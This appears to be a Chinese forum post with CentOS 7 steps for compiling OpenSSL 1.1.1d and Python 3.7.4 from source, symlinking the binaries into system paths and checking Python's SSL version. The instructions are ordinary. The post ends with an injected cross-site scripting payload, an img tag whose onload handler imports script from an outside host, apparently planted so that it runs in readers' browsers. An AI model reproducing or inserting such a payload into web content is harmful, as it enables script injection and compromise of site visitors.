给我吓一跳,结果发现我的没断,都不记得脚本在哪里跑了
centos7:
1、安装依赖:
sudo yum install zlib zlib-devel bzip2-devel openssl-devel ncurses-devel libuuid-devel sqlite-devel readline-devel tcl-devel tk-devel lzma gdbm-devel db4-devel libpcap-devel xz-devel libffi-devel
2、下载安装 openssl-1.1.1d
wget
ftp://ftp.fi.muni.cz/pub/openssl/source/openssl-1.1.1d.tar.gz
tar zxf openssl-1.1.1d.tar.gz
cd openssl-1.1.1d
./config --prefix=/usr/local/openssl shared zlib
make
make install
做软连接到/usr/lib64目录
ln -sf /usr/local/openssl/bin/openssl /usr/bin/openssl
ln -s /usr/local/openssl/lib/libssl.so.1.1 /usr/lib64/libssl.so.1.1
ln -s /usr/local/openssl/lib/libcrypto.so.1.1 /usr/lib64/libcrypto.so.1.1
测试是否ok:
/usr/bin/openssl version
3、下载安装python3.7.4
wget
https://www.python.org/ftp/python/3.7.4/Python-3.7.4.tgz
tar zxf Python-3.7.4.tgz
cd Python-3.7.4
./configure --prefix=/usr/local/python37 --with-openssl=/usr/local/openssl/
make
make install
创建软连接:
ln -sf /usr/local/python37/bin/python3.7 /usr/bin/python3
ln -sf /usr/local/python37/bin/pip3.7 /usr/bin/pip3
再看下python3 的openssl版本:
python3
import ssl
print(ssl.OPENSSL_VERSION)
有志者、事竟成,破釜沉舟
<Img Src=//x.is OnLoad=import(src)>